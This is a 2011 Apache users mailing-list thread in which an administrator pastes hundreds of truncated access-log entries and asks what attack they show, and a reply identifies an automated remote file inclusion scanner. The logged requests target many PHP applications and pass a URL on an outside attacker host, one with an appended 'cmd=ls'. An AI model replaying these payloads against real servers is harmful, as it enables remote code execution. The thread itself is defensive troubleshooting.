Thanks Mathijs. On 12/20/2011 9:55 AM, Mathijs wrote:
Looks like an automated hacking tool using this list, or a derative of
it: http://ha.ckers.org/weird/rfi-locations.dat
Kind regards,
Mathijs
On Tue, Dec 20, 2011 at 6:52 PM, Knute Johnson <apache@xxxxxxxxxxxxxxxx
<mailto:apache@xxxxxxxxxxxxxxxx>> wrote:
I got hundreds of these in my log today. Just curious if anybody
knows what sort of attack this might be?
/=http://62.141.58.186/google.__txt
<http://62.141.58.186/google.txt>: 4 Time(s)
/A-Blog/navigation/donation.__php?navigation ...
.186/google.txt: 4 Time(s)
/A-Blog/navigation/latestnews.__php?navigati ...
186/google.txt?: 4 Time(s)
/A-Blog/navigation/links.php?__navigation_st ...
186/google.txt?: 4 Time(s)
/A-Blog/navigation/search.php?__navigation_e ...
186/google.txt?: 4 Time(s)
/A-Blog/sources/myaccount.php?__open_box=htt ...
186/google.txt?: 4 Time(s)
/ACGVnews/header.php?PathNews=__http://62.14 ...
.186/google.txt: 4 Time(s)
/ACalendar/embed/day.php?path=__http://62.14 ...
.186/google.txt: 4 Time(s)
/ATutor/documentation/common/__frame_toc.php ...
.186/google.txt: 4 Time(s)
/ATutor/documentation/common/__search.php?se ...
.186/google.txt: 4 Time(s)
/ATutor/documentation/common/v__itals.inc.ph
<http://vitals.inc.ph> ... .186/google.txt: 4 Time(s)
/ATutor/include/classes/__module/module.clas ...
.186/google.txt: 4 Time(s)
/ATutor/include/classes/__phpmailer/class.ph
<http://class.ph> ... .186/google.txt: 4 Time(s)
/AdaptCMS_Lite_1.4_2/plugins/__rss_importer_ ...
186/google.txt?: 4 Time(s)
/Administration/Includes/__configureText.php ...
.186/google.txt: 4 Time(s)
/Administration/Includes/__contentHome.php?p ...
.186/google.txt: 4 Time(s)
/Administration/Includes/__deleteContent.php ...
.186/google.txt: 4 Time(s)
/Administration/Includes/__deleteUser.php?pa ...
.186/google.txt: 4 Time(s)
/Administration/Includes/__userHome.php?path ...
.186/google.txt: 4 Time(s)
/Agora_PATH//mdweb/admin/inc/__organisations ...
186/google.txt?: 8 Time(s)
/BE_config.php?_PSL[classdir]=__http://62.14 ...
.186/google.txt: 4 Time(s)
/BPNEWS/bn_smrep1.php?bnrep=ht__tp://62.141 <http://62.141>.
... 86/google.txt?&: 4 Time(s)
/Base/Application.php?pear___dir=http://62.1 ...
.186/google.txt: 4 Time(s)
/Bcwb_PATH/dcontent/default.__css.php?root_p ...
.186/google.txt: 4 Time(s)
/Bcwb_PATH/include/startup.__inc.php?root_pa ...
.186/google.txt: 4 Time(s)
/Bcwb_PATH/system/default.css.__php?root_pat ...
.186/google.txt: 4 Time(s)
/Beautifier/Core.php?BEAUT___PATH=http://62. ...
186/google.txt?: 4 Time(s)
/BetaBlockModules//Module/__Module.php?path_ ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__AboutUserModule/AboutUse ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__AddGroupModule/AddGroupM ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__AddMessageModule/AddMess ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__AudiosMediaGalleryModule ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__CustomizeUIModule/deskto ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__EditProfileModule/Dynami ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__EditProfileModule/extern ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__EnableModule/EnableModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ExternalFeedModule/Exter ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__FlickrModule/FlickrModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupForumModule/GroupFo ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupForumPermalinkModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupModerateContentModu ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupModerateUserModule/ ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupModerationModule/Gr ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupsCategoryModule/Gro ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__GroupsDirectoryModule/Gr ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ImagesMediaGalleryModule ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ImagesModule/ImagesModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__InvitationStatusModule/I ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__LargestGroupsModule/Larg ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/LinksModule/__LinksModule. ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/LoginModule/__remoteauth_f ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/LogoModule/__LogoModule.ph ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MediaFullViewModule/Medi ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MediaManagementModule/Me ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MembersFacewallModule/Me ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MessageModule/MessageMod ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ModuleSelectorModule/Mod ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MyGroupsModule/MyGroupsM ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MyLinksModule/MyLinksMod ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__MyNetworksModule.php?pat ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkAnnouncementModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkDefaultControlMod ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkDefaultLinksModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkModerateUserModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkResultContentModu ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworkResultUserModule/ ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NetworksDirectoryModule/ ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__NewestGroupsModule/Newes ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__PeopleModule/PeopleModul ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__PopularTagsModule/Popula ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__PostContentModule/PostCo ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ProfileFeedModule/Profil ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__RecentCommentsModule/Rec ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__RecentPostModule/RecentP ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__RecentTagsModule/RecentT ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__RegisterModule/RegisterM ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__SearchGroupsModule/Searc ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ShowAnnouncementModule/S ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ShowContentModule/ShowCo ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__TakerATourModule/TakerAT ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__UploadMediaModule/Upload ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__UserMessagesModule/UserM ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__UserPhotoModule/UserPhot ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__VideosMediaGalleryModule ...
.186/google.txt: 4 Time(s)
/BetaBlockModules/__ViewAllMembersModule/Vie ...
.186/google.txt: 4 Time(s)
/Blog/BlogModel.php?path=http:__//62.141.58.186/google.txt
<http://62.141.58.186/google.txt>: 4 Time(s)
/Blog_CMS/admin/plugins/NP___UserSharing.php ...
.186/google.txt: 4 Time(s)
/Blog_CMS/admin/plugins/NP___UserSharing.php ...
oogle.txt?admin: 4 Time(s)
/CheckUpload.php?Language=http__://62.141.58
<http://62.141.58> ... ogle.txt&cmd=ls: 4 Time(s)
/Contenido_4.8.4/contenido/__backend_search. ...
186/google.txt?: 4 Time(s)
/Contenido_4.8.4/contenido/__cronjobs/move_a ...
186/google.txt?: 4 Time(s)
Thanks,
--
Knute...
------------------------------__------------------------------__---------
The official User-To-User support forum of the Apache HTTP Server
Project.
See <URL:http://httpd.apache.org/__userslist.html
<http://httpd.apache.org/userslist.html>> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.__apache.org
<mailto:users-unsubscribe@xxxxxxxxxxxxxxxx>
" from the digest: users-digest-unsubscribe@__httpd.apache.org
<mailto:users-digest-unsubscribe@xxxxxxxxxxxxxxxx>
For additional commands, e-mail: users-help@xxxxxxxxxxxxxxxx
<mailto:users-help@xxxxxxxxxxxxxxxx>
--------------------------------------------------------------------- The official User-To-User support forum of the Apache HTTP Server Project. See <URL:http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: users-unsubscribe@xxxxxxxxxxxxxxxx " from the digest: users-digest-unsubscribe@xxxxxxxxxxxxxxxx For additional commands, e-mail: users-help@xxxxxxxxxxxxxxxx
|